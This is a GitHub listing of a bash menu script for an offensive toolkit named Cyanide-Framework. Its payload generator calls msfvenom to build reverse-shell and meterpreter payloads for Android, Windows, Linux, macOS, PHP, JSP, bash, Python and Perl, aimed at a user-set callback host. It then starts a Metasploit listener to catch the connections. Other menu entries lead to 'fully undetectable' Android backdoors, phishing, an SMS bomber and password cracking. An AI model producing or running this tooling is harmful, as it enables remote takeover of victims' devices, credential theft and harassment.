forked from elementalsouls/Cyanide-Framework_v0.2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcyanide-framework.sh
executable file
·838 lines (765 loc) · 23.1 KB
/
cyanide-framework.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
#!/usr/bin/env bash
#
# Cyanide-Framework . version 0.2
# This Framework is used for penetration testing for android and all other plateforms.
#
# Created By Sachin Sharma(Cyanide) .
# Special Thanks to : Amritya Vaibhav Dembla(Dboidembla)
#resize -s 80 100 > /dev/null
#Colors
cyan='\e[0;36m'
lightcyan='\e[96m'
green='\e[0;32m'
lightgreen='\e[1;32m'
white='\e[1;37m'
red='\e[1;31m'
yellow='\e[1;33m'
blue='\e[1;34m'
Escape="\033";
white="${Escape}[0m";
RedF="${Escape}[31m";
GreenF="${Escape}[32m";
LighGreenF="${Escape}[92m"
YellowF="${Escape}[33m";
BlueF="${Escape}[34m";
CyanF="${Escape}[36m";
Reset="${Escape}[0m";
# Check root
# [[ `id -u` -eq 0 ]] > /dev/null 2>&1 || { echo $red "You must be root to run the script"; echo ; exit 1; }
# check internet
function checkinternet()
{
ping -c 1 google.com > /dev/null 2>&1
if [[ "$?" != 0 ]]
then
echo -e $red " Checking For Internet: ${RedF}FAILED"
echo
echo -e $red "This Script Needs An Active Internet Connection"
echo
echo -e $yellow " Cyanide-Framework Exit"
echo && sleep 2
exit
else
echo -e $red " Checking For Internet: ${white}CONNECTED"
fi
}
logo(){
echo -e $red " ..,;:ccccccc:;..."
echo -e $red " ..,clllc:;;;;;;:cllc,."
echo -e $red " .,cllc,..............';;'."
echo -e $red " .;lol;......${white}_______${red}....;lol;."
echo -e $red " .,lol;......${white}/ _____/${red}.....;lol;.. "
echo -e $red " .coo.......${white}/ /${red}.............coo"
echo -e $red ".'lol,.....${white}/ /${red}............'lol,."
echo -e $red ".,lol,....${white}/ /_____${red}........,lol,."
echo -e $red " .,lol,...${white}\______/${red}.......,lol,."
echo -e $red " .:ooc'.................:ooc'"
echo -e $red " .'cllc'............''cllc."
}
#check OS
check_os(){
echo -e $red
sudo cat /etc/issue.net
# sudo cat /etc/issue.net
}
# Check current directory
pwd=$(pwd)
dlhost=$(hostname -I)
#check dependencies existence
check_dependencies(){
echo -e $white ""
echo " (°_o) Checking dependencies configuration (°_o)"
echo " "
# check if metasploit-framework is installed
which msfconsole > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $red "[ ✔ ] Metasploit-Framework..............${white}[ found ]"
which msfconsole > /dev/null 2>&1
sleep 1
else
echo -e $red "[ X ] Metasploit-Framework -> ${RedF}not found "
echo -e $yellow "[ ! ] Installing Metasploit-Framework "
sudo apt-get install metasploit-framework -y
echo -e $blue "[ ✔ ] Done installing ...."
which msfconsole > /dev/null 2>&1
sleep 2
fi
#check if xterm is installed
which xterm > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $white "[ ✔ ] Xterm.............................${red}[ found ]"
which xterm > /dev/null 2>&1
sleep 1
else
echo ""
echo -e $red "[ X ] xterm -> ${RedF}not found! "
sleep 2
echo -e $yellow "[ ! ] Installing Xterm "
sleep 2
echo -e $LighGreenF ""
sudo apt-get install xterm -y
clear
echo -e $blue "[ ✔ ] Done installing .... "
which xterm > /dev/null 2>&1
fi
#check if figlet is installed
which figlet > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $red "[ ✔ ] Figlet............................${white}[ found ]"
which figlet > /dev/null 2>&1
sleep 1
else
echo ""
echo -e $red "[ X ] Figlet -> ${RedF}not found! "
sleep 2
echo -e $yellow "[ ! ] Installing Figlet "
sleep 2
echo -e $LighGreenF ""
sudo apt-get install figlet -y
clear
echo -e $blue "[ ✔ ] Done installing .... "
which figlet > /dev/null 2>&1
fi
# checking for Rockyou dictionary
check_zip=/usr/share/wordlists/rockyou.txt.gz
check_txt=/usr/share/wordlists/rockyou.txt
if test -f "$check_zip"; then
echo -e $white "[ ! ] Unzipping Rockyou "
echo -e $white "[ ✔ ] Rockyou Zip.......................${red}[ found ]"
sleep 1
gunzip /usr/share/wordlists/rockyou.txt.gz
sleep 2
elif test -f "$check_txt"; then
echo -e $white "[ ✔ ] Rockyou...........................${red}[ found ]"
sleep 1
else
echo -e $red "[ X ] Rockyou -> ${RedF}not found! "
echo -e $yellow "[ ! ] Installing Rockyou "
echo -e $blue "[ ✔ ] Done installing .... "
sleep 1
xterm -T "INSTALLING ROCKYOU" -fa monaco -fs 10 -bg red -e "cd /usr/share/wordlists; wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt"
sleep 1
echo -e $white "[ ✔ ] Rockyou...........................${red}[ installed ]"
sleep 1
fi
#check if zenity is installed
which zenity > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $red "[ ✔ ] Zenity............................${white}[ found ]"
which zenity > /dev/null 2>&1
sleep 1
else
echo ""
echo -e $red "[ X ] Zenity -> ${RedF}not found! "
sleep 1
echo -e $yellow "[ ! ] Installing Zenity "
sleep 1
echo -e $green ""
sudo apt-get install zenity -y
clear
echo -e $blue "[ ✔ ] Done installing .... "
which zenity > /dev/null 2>&1
fi
#Check for Android Asset Packaging Tool
which aapt > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $white "[ ✔ ] Aapt..............................${red}[ found ]"
which aapt > /dev/null 2>&1
sleep 1
else
echo ""
echo -e $red "[ X ] Aapt -> ${RedF}not found! "
sleep 1
echo -e $yellow "[ ! ] Installing Aapt "
sleep 1
echo -e $green ""
sudo apt-get install aapt -y
sudo apt-get install android-framework-res -y
clear
echo -e $blue "[ ✔ ] Done installing .... "
which aapt > /dev/null 2>&1
fi
#Check for Apktool Reverse Engineering
which apktool > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $red "[ ✔ ] Apktool...........................${white}[ found ]"
which aapt > /dev/null 2>&1
sleep 1
else
echo ""
echo -e $red "[ X ] Apktool -> ${RedF}not found! "
sleep 1
echo -e $yellow "[ ! ] Installing Apktool "
sleep 1
echo -e $green ""
sudo apt-get install apktool -y
clear
echo -e $blue "[ ✔ ] Done installing .... "
which apktool > /dev/null 2>&1
fi
#check for zipalign
which zipalign > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $white "[ ✔ ] Zipalign..........................${red}[ found ]"
which aapt > /dev/null 2>&1
sleep 1
else
echo ""
echo -e $red "[ X ] Zipalign -> ${RedF}not found! "
sleep 1
echo -e $yellow "[ ! ] Installing Zipalign "
sleep 2
echo -e $green ""
sudo apt-get install zipalign -y
clear
echo -e $blue "[ ✔ ] Done installing .... "
which zipalign > /dev/null 2>&1
fi
}
# loading bar
function lading_bar(){
echo
echo -ne $red' [ ✔ ]Loading.... [ 20% ]\r'
sleep 0.5
echo -ne $white' [ ✔ ]Loading........ [ 40% ]\r'
sleep 0.5
echo -ne $red' [ ✔ ]Loading.................. [ 60% ]\r'
sleep 0.5
echo -ne $white' [ ✔ ]Loading.......................... [ 80% ]\r'
sleep 0.5
echo -ne $red' [ ✔ ]Loading............................[ 100% ]\r'
sleep 0.5
echo -ne $red' [ ✔ ]Loading............................[ Done ]\r'
sleep 0.5
echo -ne '\n'
}
# To start service for posrgresql
function postgresql_start()
{
service postgresql start | zenity --progress --pulsate --title "PLEASE WAIT..." --text="Start postgresql service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
}
# To stop service for posrgresql
function postgresql_stop()
{
service postgresql stop | zenity --progress --pulsate --title "PLEASE WAIT..." --text="Stop postgresql service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
}
# Banner for the tool.
banner() {
echo -e $white " ╔──────────────────────────────────────────╗"
echo -e $red " | For Any Queries Join Me!!! |"
echo -e $white" | Telegram : https://bit.ly/365XS2N |"
echo -e $red" | YouTube : https://bit.ly/35YqryS |"
echo -e $white " ┖──────────────────────────────────────────┙"
echo " "
}
# Detect ctrl+c
trap ctrl_c INT
ctrl_c() {
clear
echo -e $red"\t[ℂ] Ctrl + C Detected, Trying To Exit... "
echo -e $red"\n\t\t[ℂ] Stopping Services... "
postgresql_stop
sleep 1
echo ""
echo -e $white"\t[ℂ] Thanks For Using Cyanide-Framework :)"
echo ""
banner
sleep 0.5
exit
}
#hash encoder
generator(){
choice_y/n(){
echo ""
read -p "[ → ] Do you want to generate another cipher[Y/n]?> : " number_option
echo ""
case $number_option in
Y|y)
sleep 1
clear
generator
;;
N|n)
echo -e $white "!! Taking you to the main menu !!"
sleep 1.5
main
;;
*)
echo -e $red "!! Wrong choice [ X ] Try again !!"
sleep 1.5
main
esac
}
logo
echo -e $red " [ 1 ] Base64"
echo -e $white " [ 2 ] MD5"
echo -e $red " [ 3 ] ROT5"
echo -e $white " [ 4 ] ROT13"
echo -e $red " [ 5 ] SHA256"
echo -e $white " [ 6 ] SHA384"
echo -e $red " [ 7 ] SHA512"
echo -e $white " [ 8 ] Vigenere"
echo ""
echo -e $red " [ 99 ] Return to main menu"
echo -e $red " ..............................."
echo -e $white " Please select your option:"
echo ""
read -p " [ → ] Enter choice> : " number_option
echo ""
if [ $number_option -eq 1 ]; then
python3 tola_atom/encoders/base64_file.py
sleep 1.5
echo ""
choice_y/n
elif [ $number_option -eq 2 ]; then
python3 tola_atom/encoders/md5_file.py
sleep 1.5
echo ""
choice_y/n
elif [ $number_option -eq 3 ]; then
python3 tola_atom/encoders/rot5_file.py
sleep 1.5
choice_y/n
elif [ $number_option -eq 4 ]; then
python3 tola_atom/encoders/rot13_file.py
sleep 1.5
choice_y/n
elif [ $number_option -eq 5 ]; then
python3 tola_atom/encoders/sha256_file.py
sleep 1.5
choice_y/n
elif [ $number_option -eq 6 ]; then
python3 tola_atom/encoders/sha384_file.py
sleep 1.5
choice_y/n
elif [ $number_option -eq 7 ]; then
python3 tola_atom/encoders/sha512_file.py
sleep 1.5
choice_y/n
elif [ $number_option -eq 8 ]; then
python3 tola_atom/encoders/vigenere_file.py
sleep 1.5
choice_y/n
elif [ $number_option -eq 99 ]; then
clear
sleep1
main
else
echo -e $red "!! Wrong choice [ X ] Try again !!"
sleep 1.5
clear
generator
fi
}
#decoder main
decoder_main(){
choice2_y/n(){
read -p "[ → ] Do you want to generate another cipher[Y/n]?" number_option
echo ""
case $number_option in
Y|y)
sleep 1
clear
decoder_main
;;
N|n)
echo -e $white "!! Taking you to the main menu !!"
sleep 1.5
main
;;
*)
echo -e $red "!! Wrong choice [ X ] Try again !!"
sleep 1.5
decoder_main
esac
}
logo
echo -e $red " [ 1 ] Base64"
echo -e $white " [ 2 ] MD5"
echo -e $red " [ 3 ] SHA1"
echo -e $white " [ 4 ] ROT13"
echo -e $red " [ 5 ] SHA256"
echo -e $white " [ 6 ] SHA384"
echo -e $red " [ 7 ] SHA512"
# echo -e $white "[ 8 ] Vigenere"
echo ""
echo -e $red " [ 99 ] Return to main menu"
echo -e $red ""
echo -e $white " Select your option:"
echo ""
read -p " [ → ] Enter choice> : " number_option
echo ""
if [ $number_option -eq 1 ]; then
python3 tola_atom/decoders/base64_dec.py
sleep 1.5
echo ""
choice2_y/n
elif [ $number_option -eq 2 ]; then
python3 tola_atom/decoders/md5_dec.py
sleep 1.5
echo ""
choice2_y/n
elif [ $number_option -eq 3 ]; then
python3 tola_atom/decoders/sha1_dec.py
sleep 1.5
choice2_y/n
elif [ $number_option -eq 4 ]; then
python3 tola_atom/decoders/rot13_dec.py
sleep 1.5
choice2_y/n
elif [ $number_option -eq 5 ]; then
python3 tola_atom/decoders/sha256_dec.py
sleep 1.5
choice2_y/n
elif [ $number_option -eq 6 ]; then
python3 tola_atom/decoders/sha384_dec.py
sleep 1.5
choice2_y/n
elif [ $number_option -eq 7 ]; then
python3 tola_atom/decoders/sha512_dec.py
sleep 1.5
choice2_y/n
# elif [ $number_option -eq 8 ]; then
# python3 tola_atom/decoders/vigenere_file.py
# sleep 1.5
# choice2_y/n
elif [ $number_option -eq 99 ]; then
clear
sleep1
main
else
echo -e $red "!! Wrong choice [ X ] Try again !!"
sleep 1.5
clear
decoder_main
fi
}
# hash & cypher decoder
hash_decoder(){
echo -e $red "Do your want to check your cipher type?"
echo ""
read -p "[ → ] Enter choice [Y/n]> : " number_option
echo ""
case $number_option in
Y|y)
sleep 0.25
clear
sudo python3 tola_atom/hashid.py
;;
N|n)
echo -e $white "!! Opening Decoders !!"
sleep 0.5
decoder_main
;;
*)
echo -e $red "!! Wrong choice [ X ] Try again !!"
sleep 1.5
main
esac
}
# Payload Generator
payload_generator(){
logo
echo -e $red " 1. Android 3. Windows"
echo -e $white " 2. Linux 4. MAC OSX"
echo -e $red " 5. PHP 6. JSP"
echo -e $white " 7. WAR 8. BASH"
echo -e $red " 9. Python 10. Perl"
echo -e $white "11. Linux Shell 12. Windows Shell"
echo -e $red "13. Mac OS Shell"
echo ""
echo -e $white "Please select the Payload Type:"
#Checking User Input
re='[a-zA-Z]'
echo -e $red ""
read -p " Select Payload : " Number
if [ $Number -gt 13 ] || [ $Number -lt 1 ] || [[ "$Number" =~ $re ]];
then
echo -e $red ""
echo -e $RedF "You choose invalid option Please try again."
echo -e $yellow "[ℂ] Thanks For using Cyanide-Framework :)[ℂ]"
sleep 0.02
exit 1
fi
echo -e $blue ""
echo " Do you want to use your default local host?"
read -p " Yes?No : " lhost
case $lhost in
yes|Yes|YES|Y|y)
echo -e $GreenF ""
echo " Grabbing you default Local Host."
sleep 0.05
lhost=$(hostname -I)
;;
NO|No|N|n|no)
echo -e $GreenF ""
echo -e $blue "Please enter your Local Host"
read -p " Enter Lhost : " lhost
;;
esac
echo -e $GreenF ""
echo " Your local host is= $lhost"
echo -e $GreenF ""
echo -e $blue "Enter your Local Port"
read -p " Enter Lport : " lport
echo -e $GreenF ""
echo " Please enter the name of the file without extension like (.apk/.exe/.sh)"
read -p " Filename : " filename
case $Number in
Android|android|1)
echo -e $red ""
echo " Please wait we are generating the payload"
echo -e $GreenF "[ ✔ ]....................................[ ✔ ]"
echo " Here your Local host is $lhost"
msfvenom -p android/meterpreter/reverse_tcp LHOST="$lhost" LPORT="$lport" R > $pwd/$filename.apk
payload=android/meterpreter/reverse_tcp
echo -e $cyan "[ ✔ ]....................................[ ✔ ]"
echo " Your Payload has been generated successfully in $pwd directory"
;;
Windows|windows|W|w|2)
msfvenom -p windows/meterpreter/reverse_tcp LHOST="$lhost" LPORT="$lport" -f exe > $pwd/$filename.exe
payload=windows/meterpreter/reverse_tcp
echo -e $LighGreenF " Your Payload has been generated successfully in $pwd directory"
;;
Linux|linux|L|l|3)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="$lhost" LPORT="$lport" -f elf > $pwd/$filename.elf
payload=linux/x86/meterpreter/reverse_tcp
echo " Your Payload has been generated successfully in $pwd directory"
;;
MAC|mac|M|m|4)
msfvenom -p osx/x86/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f macho > $pwd/$filename.macho
payload=osx/x86/shell_reverse_tcp
echo " Your Payload has been generated successfully in $pwd directory"
;;
PHP|php|P|p|5)
msfvenom -p php/meterpreter_reverse_tcp LHOST="$lhost" LPORT="$lport" -f raw > $pwd/$filename.php
payload=php/meterpreter_reverse_tcp
echo " Your Payload has been generated successfully in $pwd directory"
;;
JSP|Java|jsp|J|j|6)
msfvenom -p java/jsp_shell_reverse_tcp LHOST="lhost" LPORT="$lport" -f raw > $pwd/$filename.jsp
payload=java/jsp_shell_reverse_tcp
echo " Your Payload has been generated successfully in $pwd directory"
;;
WAR|war|W|w|7)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$lhost LPORT=$lport -f war > $pwd/$filename.war
payload=java/jsp_shell_reverse_tcp
echo " Your Payload has been generated successfully in $pwd directory"
;;
BASH|bash|sh|B|b|8)
msfvenom -p cmd/unix/reverse_bash LHOST=$lhost LPORT=$lport -f raw > $pwd/$filename.sh
payload=cmd/unix/reverse_bash
echo " Your Payload has been generated successfully in $pwd directory"
;;
Python|python|py|Py|9)
msfvenom -p cmd/unix/reverse_python LHOST=$lhost LPORT=$lport -f raw > $pwd/$filename.py
payload=cmd/unix/reverse_python
echo " Your Payload has been generated successfully in $pwd directory"
;;
Perl|perl|Pl|pl|10)
msfvenom -p cmd/unix/reverse_perl LHOST=$lhost LPORT=$lport -f raw > $pwd/$filename.pl
payload=cmd/unix/reverse_perl
echo " Your Payload has been generated successfully in $pwd directory"
;;
Linuxhell|linuxshellcode|11)
read -p "Language: " language
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="$lhost" LPORT="$lport" -f $language
payload=linux/x86/meterpreter/reverse_tcp
echo " Your Payload has been generated successfully."
;;
Winshell|winshell|WS|ws|12)
read -p "Language : " language
msfvenom -p windows/meterpreter/reverse_tcp LHOST="$lhost" LPORT="$lport" -f $language
payload=windows/meterpreter/reverse_tcp
echo " Your Payload has been generated successfully."
;;
Macshell|macshell|13)
read -p "Language" language
msfvenom -p osx/x86/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f $language
payload=osx/x86/shell_reverse_tcp
echo -e $GreenF "[*]....................................[*]"
echo -e $cyan " Your Payload has been generated successfully."
;;
*)
echo -e $RedF "[ℂ]................................................[ℂ]"
echo -e $white " You have choosen a wrong option Please choose a wite keyword"
esac
echo -e $red "[ℂ]................................[ℂ]"
echo -e $white " Do you want to open msfconsole?"
read -p " Yes/No? " answer
if [[ $answer == "YES" || $answer == "Yes" || $answer == "yes" || $answer == "Y" || $answer == "y" ]]; then
echo " Opening Metasploit"
postgresql_start
service postgresql start
sleep 3
xterm -T "CYANIDE MULTI/HANDLER" -fa monaco -fs 10 -bg black -e "msfconsole -x 'use multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $payload; exploit'"
elif [[ $answer == "NO" || $answer == "No" || $answer == "no" || $answer == "N" || $answer == "n" ]]; then
echo -e $GreenF "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
echo "[ℂ] Thanks for using Cyanide Framework [ℂ]"
else
echo -e $RedF "[ℂ]....................................[ℂ]"
echo -e $RedF "【X】 Wrong option please try again 【X】"
echo -e $RedF "[ℂ]....................................[ℂ]"
fi
}
main(){
# clear
# checkinternet
# check_os
# check_dependencies
# sleep 0.25
clear
banner
echo -e $red " ..,;:ccccccc:;..."
echo -e $red " ..,clllc:;;;;;;:cllc,."
echo -e $red " .,cllc,..............';;'."
echo -e $red " .;lol;......${white}_______${red}....;lol;."
echo -e $red " .,lol;......${white}/ _____/${red}.....;lol;.. "
echo -e $red " .coo.......${white}/ /${red}.............coo"
echo -e $red " .'lol,.....${white}/ /${red}............'lol,."
echo -e $red " .,lol,....${white}/ /_____${red}........,lol,."
echo -e $red " .,lol,....${white}\______/${red}.......,lol,."
echo -e $red " .:ooc'.................:ooc'"
echo -e $red " .'cllc'............''cllc."
echo -e $white " ╔──────────────────────────────────────────╗"
echo -e $red " | Cyanide Framework v0.2 |"
echo -e $white" 【X】 Tool For Penetration Testing 【X】"
echo -e $red" | Made By: Cyanide and Dboidembla |"
echo -e $white " ┖──────────────────────────────────────────┙"
echo -e $white " [ 1 ] Info_Gathering & Network"
echo -e $red " [ 2 ] Web Based Attacks"
echo -e $white " [ 3 ] Wireless Attacks"
echo -e $red " [ 4 ] Lazagne(Comming Soon)"
echo -e $white " [ 5 ] Password Attacks"
echo -e $red " [ 6 ] Infectious Media Genetator"
echo -e $white " [ 7 ] TBomb"
echo -e $red " [ 8 ] Hash & Cipher Generator"
echo -e $white " [ 9 ] Hash & Cipher Decoder"
echo -e $red " [ 10 ] Phishing Attacks"
# echo -e $red " [ 10 ] IP Locator"
# echo -e $white " [ 11 ] Schedule Whatsapp Message"
echo ""
echo -e $red " [ q ] Quit"
cases_of_framework
}
# function of option 1(Network and info)
netinfo(){
clear
sudo python2 networking_and_infogather/netinfo.py
# function of option 1(Web Based)
}
web(){
clear
sudo python2 web/webbased.py
}
# cases of option 6(infectious)
cases_of_infectious(){
logo
echo -e $red " [ 1 ] Make Android fud"
echo -e $white " [ 2 ] Payload Generator"
echo ""
echo -e $red " [ 99 ] Return to main menu"
echo ""
read -p " [ → ] Enter choice> : " number_option
case $number_option in
1)
clear
bash Evil-Droid/evil-droid.sh
;;
2)
clear
payload_generator
main
;;
99) clear
sleep 0.25
main
;;
*) echo -e $red "【X】 Invalid option, please write a valid number【X】"
echo
sleep 1
clear
cases_of_infectious
;;
esac
}
# cases of framework from 1-9
cases_of_framework(){
echo -e $white " " ""
read -p " [ → ] Enter Choice > : " Number
case $Number in
Network|network|N|n|1)
sleep 0.25
netinfo
;;
Web|web|W|w|2)
sleep 0.25
web
main
;;
Wireless|wireless|K|k|3)
sleep 0.25
sudo python2 wireless/wireless_network_based.py
;;
Lazagne|lazagne|4)
clear
echo ""
echo " Comming Soon"
sleep 1
main
;;
Passwd|passwd|L|l|5)
sleep 0.25
sudo python2 passwd/password_based.py
;;
Infectious|infectious|6)
clear
sleep 0.25
cases_of_infectious
;;
TBomb|tbomb|T|t|7)
sudo python2 tbomb/tbomb.py
main
;;
Generator|generator|G|g|8)
clear
sleep 0.5
generator
main
;;
Cracker|cracker|C|c|9)
clear
sleep 0.25
hash_decoder
main
;;
IP|ip|10) sudo python2 phishing/phishing.py
main
;;
# whatsapp|w|11) sudo python3 whatsapp/whatsapp_schedule.py
# main
# ;;
q) echo ""
echo -e $white" [ℂ] Trying To Exit... "
sleep 2
echo -e $red"\n [ℂ] Stopping Services... "
postgresql_stop
sleep 1
echo ""
echo -e $white" [ℂ] Thanks For Using Cyanide-Framework :)"
echo ""
sleep 0.5
exit
;;
*)
echo -e $RedF "【X】Oops! You have selected an invalid option 【X】"
echo ""
echo -e $yellow "【X】 Please select a valid option 【X】"
echo ""
sleep 2
clear
main
;;
esac
}
# main